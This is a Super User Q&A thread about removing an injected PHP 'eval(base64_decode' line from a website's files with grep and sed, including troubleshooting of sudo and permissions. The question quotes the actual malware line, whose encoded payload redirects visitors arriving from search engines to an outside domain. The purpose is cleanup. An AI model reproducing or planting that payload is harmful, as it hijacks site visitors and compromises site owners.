Take the 2-minute tour ×
Super User is a question and answer site for computer enthusiasts and power users. It's 100% free, no registration required.

I'm attempting to use the commands found on http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ to clean up a PHP eval based hack on a site.

Sample code to match/remove

<?php           eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9"));

Attempted command:

sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php           eval(base64_decode[^;]*;/<?php\n/g'

The sudo has been added as it is required to have permission to read/write on the dir I'm accessing. The files list properly from grep, but are not changed by sed. Any suggestions?

share|improve this question
add comment

1 Answer

up vote 1 down vote accepted

I think the double use of sudo is the culprit. I was able to get your commands to work fine without them.

Try sudo -s to open a new shell and then execute the piped commands on their own.

sudo -s
grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | xargs sed -i.bak 's/&lt;?php           eval(base64_decode[^;]*;/&lt;?php\n/g'

Note: I did find your \n didn't come out quite right. Double backslash that and you should be OK.

share|improve this answer
    
I figured that might be the problem, however the solution unfortunately doesn't work. sed: can't read /home/user/webdir/wp-content/themes/index.php: Permission denied –  roktechie Nov 5 '12 at 16:51
    
@Scott thanks for correcting my mistake. –  amiregelz Nov 5 '12 at 17:06
    
@roktechie: If you do (just) your grep –l… command (using sudo if necessary for read access), pick one of the files it lists, and then type sudo sed –i.bak … followed by that filename, what happens? –  Scott Nov 5 '12 at 17:10
    
sudo -s should make you root on that system, so you can read/write what you want. If root can't access something, chmod should get you out of it. (If it's a RO filesystem, cat /etc/fstab should reveal that.) –  LazyMonkey Nov 5 '12 at 20:08
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.